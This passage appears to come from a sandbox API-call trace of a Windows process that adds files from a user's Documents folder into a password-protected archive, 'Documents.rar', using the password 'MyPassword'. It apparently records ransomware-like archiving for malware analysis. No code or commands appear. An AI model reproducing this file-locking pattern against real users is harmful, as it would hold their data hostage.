lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14350748276) returned 1 [0068.167] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x1502e, lpOverlapped=0x0) returned 1 [0068.168] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b506e, nNumberOfBytesToRead=0xeafd2, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b506e*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.168] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.168] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.168] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.168] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.168] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bc0, Size=0x48) returned 0x39db40 [0068.168] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.168] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.168] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bc0, Size=0x48) returned 0x39daf0 [0068.168] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.168] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.168] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.168] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.168] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bf0 | out: hHeap=0x2e0000) returned 1 [0068.168] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bc0 | out: hHeap=0x2e0000) returned 1 [0068.168] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b90, Size=0x48) returned 0x39db40 [0068.168] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.168] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.168] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.170] GetTickCount () returned 0xa67551 [0068.170] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14351151130) returned 1 [0068.171] GetTickCount () returned 0xa67561 [0068.171] GetTickCount () returned 0xa67561 [0068.171] GetTickCount () returned 0xa67561 [0068.171] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.171] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.171] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.172] ResetEvent (hEvent=0x1a4) returned 1 [0068.172] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.173] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.173] ResetEvent (hEvent=0x1a4) returned 1 [0068.173] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.176] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.176] ResetEvent (hEvent=0x1a4) returned 1 [0068.176] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.178] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.178] GetTickCount () returned 0xa67561 [0068.178] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14351875738) returned 1 [0068.178] GetTickCount () returned 0xa67561 [0068.178] GetTickCount () returned 0xa67561 [0068.178] GetTickCount () returned 0xa67561 [0068.178] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.178] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.178] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.179] ResetEvent (hEvent=0x190) returned 1 [0068.179] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.179] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.179] ResetEvent (hEvent=0x190) returned 1 [0068.179] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.180] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.180] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.180] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.180] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1522aa [0068.180] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x152315 [0068.180] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.180] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.180] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.180] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.180] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x15100, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x15100, lpOverlapped=0x0) returned 1 [0068.181] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.181] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=1385130, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1522aa [0068.181] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1522aa [0068.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.181] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bc0, Size=0x48) returned 0x39daf0 [0068.181] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.182] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bc0, Size=0x48) returned 0x39db40 [0068.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bf0 | out: hHeap=0x2e0000) returned 1 [0068.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bc0 | out: hHeap=0x2e0000) returned 1 [0068.182] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63b90, Size=0x48) returned 0x39daf0 [0068.182] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.182] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b90 [0068.182] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4ba90 [0068.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.182] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.182] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x167415 [0068.182] CloseHandle (hObject=0x1b0) returned 1 [0068.182] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.182] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.182] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.182] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.182] FindFirstFileW (in: lpFileName="jWTOiGMc8-CGVj37-J.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.182] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.182] CreateFileW (lpFileName="jWTOiGMc8-CGVj37-J.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\jwtoigmc8-cgvj37-j.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.182] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.182] GetTickCount () returned 0xa67561 [0068.182] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.182] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.182] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.182] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.182] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Jrdm wCY_KpB5kAazb.docx") returned 23 [0068.182] SetWindowTextW (hWnd=0x10280, lpString="jWTOiGMc8-CGVj37-J.xlsx") returned 1 [0068.183] GetTickCount () returned 0xa67561 [0068.183] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.183] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.183] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.183] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.183] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x322)) [0068.183] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.183] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14352358362) returned 1 [0068.183] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xa1ae, lpOverlapped=0x0) returned 1 [0068.184] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aa1ee, nNumberOfBytesToRead=0xf5e52, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aa1ee*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.184] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.184] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.184] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bf0, Size=0x48) returned 0x39db40 [0068.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.184] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bf0, Size=0x48) returned 0x39daf0 [0068.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.184] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c20 | out: hHeap=0x2e0000) returned 1 [0068.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bf0 | out: hHeap=0x2e0000) returned 1 [0068.184] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bc0, Size=0x48) returned 0x39db40 [0068.184] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.184] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.187] GetTickCount () returned 0xa67570 [0068.187] GetLastError () returned 0x0 [0068.187] SetLastError (dwErrCode=0x0) [0068.187] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.187] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.188] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.188] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.188] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14352796106) returned 1 [0068.188] GetTickCount () returned 0xa67570 [0068.188] GetTickCount () returned 0xa67570 [0068.188] GetTickCount () returned 0xa67570 [0068.188] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.188] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.188] GetFocus () returned 0x0 [0068.188] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.188] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.188] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.188] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.189] ResetEvent (hEvent=0x1a4) returned 1 [0068.189] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.191] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.191] ResetEvent (hEvent=0x1a4) returned 1 [0068.191] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.192] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.192] GetTickCount () returned 0xa67570 [0068.192] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14353229153) returned 1 [0068.192] GetTickCount () returned 0xa67570 [0068.192] GetTickCount () returned 0xa67570 [0068.192] GetTickCount () returned 0xa67570 [0068.192] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.192] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.192] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.192] ResetEvent (hEvent=0x190) returned 1 [0068.192] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.193] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.193] ResetEvent (hEvent=0x190) returned 1 [0068.193] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.193] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.193] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.193] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x167415 [0068.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x167480 [0068.193] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.193] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.193] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.193] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.194] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xa220, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xa220, lpOverlapped=0x0) returned 1 [0068.194] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.194] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=1471509, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x167415 [0068.194] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x167415 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.194] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bf0, Size=0x48) returned 0x39daf0 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.194] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bf0, Size=0x48) returned 0x39db40 [0068.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c20 | out: hHeap=0x2e0000) returned 1 [0068.194] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63bf0 | out: hHeap=0x2e0000) returned 1 [0068.194] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bc0, Size=0x48) returned 0x39daf0 [0068.194] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.194] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.194] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bc0 [0068.195] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4bb10 [0068.195] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.195] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.195] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1716a0 [0068.195] CloseHandle (hObject=0x1b0) returned 1 [0068.195] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.195] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.195] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.195] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.195] FindFirstFileW (in: lpFileName="K3zCHl_.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.195] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.195] CreateFileW (lpFileName="K3zCHl_.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\k3zchl_.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.195] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.195] GetTickCount () returned 0xa67570 [0068.195] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.195] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.195] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.195] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.195] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="jWTOiGMc8-CGVj37-J.xlsx") returned 23 [0068.195] SetWindowTextW (hWnd=0x10280, lpString="K3zCHl_.xlsx") returned 1 [0068.195] GetTickCount () returned 0xa67570 [0068.195] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.195] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.196] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.196] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.196] GetSystemTime (in: lpSystemTime=0x1cd7e8 